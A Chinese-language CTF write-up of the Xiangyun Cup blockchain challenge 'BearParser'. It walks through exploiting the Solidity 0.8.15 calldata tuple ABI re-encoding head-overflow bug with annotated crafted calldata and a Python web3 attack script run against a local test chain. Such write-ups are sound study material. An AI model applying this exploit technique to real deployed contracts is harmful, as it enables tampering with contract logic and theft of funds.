祥云杯 Blockchain-BearParser

祥云杯 Blockchain-BearParser

分析

首先看到sodility 0.8.15就会想到tctf中出现的abi编码漏洞,然后看到题目有两个函数,一个chall1有三个限制。

1
2
3
require(hashCompareWithLengthCheckInternal(inputs.bear.reason,string(inputs.kabi.name)),"guessname1error");
require(inputs.bear.guess%60719==60226&&inputs.bear.guess%60226==41958,"numbererror");
require(inputs.kabi.id==inputs.kabi.go);

但这三个限制其实很好满足

  • 要满足第一个限制我们可以传一个bytes为0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e,然后传一个相应的字符串NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN。注意必须得满32bytes,不然经过bytes转string会出现下面这种问题

  • 第二个条件直接中国剩余定理算出来满足结果的guess为1874455756

  • 第三个直接传相等的值即可

至此我们还有最后一个变量没有设置就是inputs.bear.named,很明显它需要在chall2里用到,其实在chall2中它其实就是通过汇编获取到结构体里面的不同变量而已。

而最终需要控制的两个变量是kabi.namebear.named

1
2
3
4
kabiname:=calldataload(add(add(off_sskabi,0x84),0x80))         
bearnamed:=calldataload(add(off_bear,0x84))
.................................
require(kabiname==bearnamed,"guessname2error");

而正常来讲现在这两个值一个是4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e一个是我们可以控制的,但如果你给bear.named也设置为4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e。此时你认为应该是相等的但实际上并不相等。

所以这里就需要用到Head Overflow Bug in Calldata Tuple ABI-Reencoding这个abi编码漏洞了。

通俗来说,就是如果一个结构体中间有一个变长的结构,比如string或者bytes,那么他在第二次打包的时候会出现bug,导致结构体的第一个字段被改成0.

我们观察一下这里的abi结构,很明显遇到bytes32[2] calldata hole会触发漏洞导致清零。

所以在chall2汇编中获取到的off_sskabi并不是原本的0x40而是0x00
这样在后面利用off_sskabi获取到的kabiname也不会是原本的kabiname的值0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e。经过计算你能知道最终取到的是offset inputs.kabi.name bytes也就是0x60。所以我们最终应该将bear.named设置为0x60

1
kabiname:=calldataload(add(add(off_sskabi,0x84),0x80))

攻击

最终的calldata

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// begin: 1
// [["111","111","0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e"],["96","1874455756","NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN"]]
// ["0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001"]
// 0x26ad1593
// 0000000000000000000000000000000000000000000000000000000000000001 bool
// 0000000000000000000000000000000000000000000000000000000000000080 offset huhu
// 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[0]
// 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[1]
// 0000000000000000000000000000000000000000000000000000000000000040 offset huhu.kabi
// 00000000000000000000000000000000000000000000000000000000000000e0 offset huhu.bear
// 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.id uint
// 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.go uint
// 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.kabi.name bytes
// 0000000000000000000000000000000000000000000000000000000000000020 length inputs.kabi.name bytes
// 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.kabi.name bytes
// 0000000000000000000000000000000000000000000000000000000000000060 inputs.bear.named uint
// 000000000000000000000000000000000000000000000000000000006fb9eccc inputs.bear.guessed uint
// 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.bear.reason string
// 0000000000000000000000000000000000000000000000000000000000000020 length inputs.bear.reason string
// 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.bear.reason string

调用结果

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import solcx
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *

def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 672197400,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn

def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt

def deploy_Bearparse():
compiled_sol = compile_files(["source1.sol"],output_values=["abi", "bin"],solc_version="0.8.15")
data = compiled_sol['source1.sol:Bearparse']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['source1.sol:Bearparse']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)

if __name__ == '__main__':
# exp()
solcx.install_solc('0.8.15')
rpc = "http://127.0.0.1:8545"
web3 = Web3(HTTPProvider(rpc))
private_key = 'bf5ff7715bc9032911a0c50f84b4f4cf5c533fd66539e626a96c4ea6d6e3af55'
acct = web3.eth.account.from_key(private_key)
account_address = acct.address
chain_id = 5777
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

Bearparse_address,Bearparse_abi = deploy_Bearparse()
Bearparse_instance = web3.eth.contract(address=Bearparse_address, abi=Bearparse_abi)
print(Bearparse_instance.all_functions())

#chall1(bool begin,huhu calldata inputs,bytes32[2] calldata hole)
functionSign = HexBytes(web3.sha3(text='chall1(bool,tuple(tuple(uint256,uint256,bytes),tuple(uint256,uint256,string)),bytes32[2])')).hex()[0:10]
calldata='0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e'
chall1_addr = generate_tx(chain_id, Bearparse_address,calldata,0)
flag = sign_and_send(chall1_addr)
# print(flag["logs"])
print(Bearparse_instance.events.SendFlag().processLog(flag["logs"][0]))



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!